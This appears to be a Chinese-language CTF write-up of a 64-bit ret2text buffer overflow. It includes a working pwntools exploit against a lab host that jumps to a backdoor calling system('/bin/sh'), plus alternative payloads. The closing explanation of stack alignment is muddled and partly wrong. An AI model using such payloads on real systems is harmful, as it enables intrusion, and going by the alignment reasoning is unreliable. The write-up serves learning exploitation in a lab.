buf 到栈底(ebp)的距离是:0xA,64 位程序加上 8 字节的栈底(rbp)

backdoor函数地址:0x400657
对于 32 位程序来说,现在就能打通了
但是这里是 64 位程序,需要处理堆栈平衡
#堆栈平衡:当我们在堆栈中进行堆栈的操作的时候,一定要保证在ret这条指令之前,esp指向的是我们压入栈中的地址,函数执行到ret执行之前,堆栈栈顶的地址一定要是call指令的下一个地址。
因此我们还需要找一个地址: lev 的地址或者该函数结束的地址(即 retn 的地址)
直接看 backdoor 函数的汇编代码:

lev 的地址:0x40065B
retn 的地址:0x40066D
特别注意:构造 payload 时将该地址放在该函数开始地址之前

from pwn import *
context.log_level = 'debug'
p = remote('10.190.131.17', 55024)
payload = b'a'*(0xA+8) + p64(0x40065B) + p64(0x400657)
p.sendline(payload)
p.interactive()

#payload = b'a'*(0xA+8) + p64(0x40066D) + p64(0x400657) 可
#payload = b'a'*(0xA+8) + p64(0x40065B) 也可以啊不是很懂

  1. p64(0x40065B) → 覆盖返回地址为0x40065B
  2. p64(0x400657) → 在栈上放置后门函数地址

执行流程

当函数返回时:

  1. 跳转到0x40065B(跳过函数开头的push rbp; mov rbp, rsp
  2. 执行lea rdi, command → 设置好system的参数
  3. 执行call _system → 调用system("/bin/sh")
  4. 执行pop rbp → 弹出栈顶值到RBP(此时栈顶是0x400657
  5. 执行retn → 弹出栈顶值0x400657到RIP,跳转到后门函数开头

为什么要这样跳转两次?

  1. 避免栈对齐问题:64位系统要求调用函数时栈指针16字节对齐
    • 直接跳转到0x40065B时,栈指针可能未对齐
    • 第二次跳转到函数开头(0x400657)会执行push rbp,使栈对齐
  2. 确保参数正确设置
    • 第一次跳转确保rdi正确设置为"/bin/sh"
    • 第二次跳转执行完整的system调用